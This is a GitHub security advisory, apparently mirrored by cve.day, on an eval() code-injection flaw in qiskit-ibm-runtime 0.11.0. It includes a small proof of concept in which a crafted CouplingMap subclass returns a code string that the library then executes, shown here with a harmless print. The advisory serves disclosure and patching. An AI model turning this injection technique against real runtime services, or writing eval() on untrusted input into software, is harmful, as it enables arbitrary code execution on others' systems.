# GHSA-cq96-9974-v8hm: Dynamic Variable Evaluation in qiskit-ibm-runtime

- Severity: Low 2.8 (CVSS:3.1, scored by GitHub) `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N`
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Published: 2024-03-20T15:41:26.000Z
- Modified: 2024-11-29T05:41:07.076Z
- Weaknesses: CWE-627

## Description

### Summary

An `eval()` method exists `Options._get_program_inputs`. This is bad in any case, but especially bad because `Options` are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.

### Details

https://github.com/Qiskit/qiskit-ibm-runtime/blob/da94a42060f1a22e6f306227deb45b70e0075723/qiskit_ibm_runtime/options/options.py#L140

### PoC
A local exploit would be something like

```python
from qiskit import transpiler

class BadActor(transpiler.CouplingMap):
    def __str__(self):
        return "print('external code')"

```

Where `print("external code")` can be any arbitrary python code string.

Then if you did a normal workflow and used a specifically constructed `CouplingMap` subclass like `BadActor` above:

```python
from qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler
from qiskit import QuantumCircuit

cmap = BadActor.from_line(42)
service = QiskitRuntimeService()
options = Options(optimization_level=1)
options.simulator = dict(coupling_map=cmap))

bell = QuantumCircuit(2)
bell.h(0)
bell.cx(0, 1)
bell.measure_all()

with Session(service=service, backend="ibmq_qasm_simulator") as session:
    sampler = Sampler(session=session, options=options).run(bell)
```

This will print `external code`

### Impact

Security vulnerability.

(As written by GitHub Advisory Database.)

## Affected

- qiskit-ibm-runtime (PyPI): from 0.11.0 before 0.11.1

## References

- <https://github.com/Qiskit/qiskit-ibm-runtime/security/advisories/GHSA-cq96-9974-v8hm> (web)
- <https://github.com/Qiskit/qiskit-ibm-runtime/commit/2e8c8c8df83ba310f52d1651a426bad879e0bd38> (web)
- <https://github.com/Qiskit/qiskit-ibm-runtime> (package)

## Sources

- GitHub Advisory Database: [GHSA-cq96-9974-v8hm](https://github.com/advisories/GHSA-cq96-9974-v8hm), CC-BY-4.0, modified 2024-11-29

---

Page: https://cve.day/GHSA-cq96-9974-v8hm · Whole record: https://cve.day/GHSA-cq96-9974-v8hm.json · Rebuilt by cve.day 2026-11-25T22:56:35.062Z
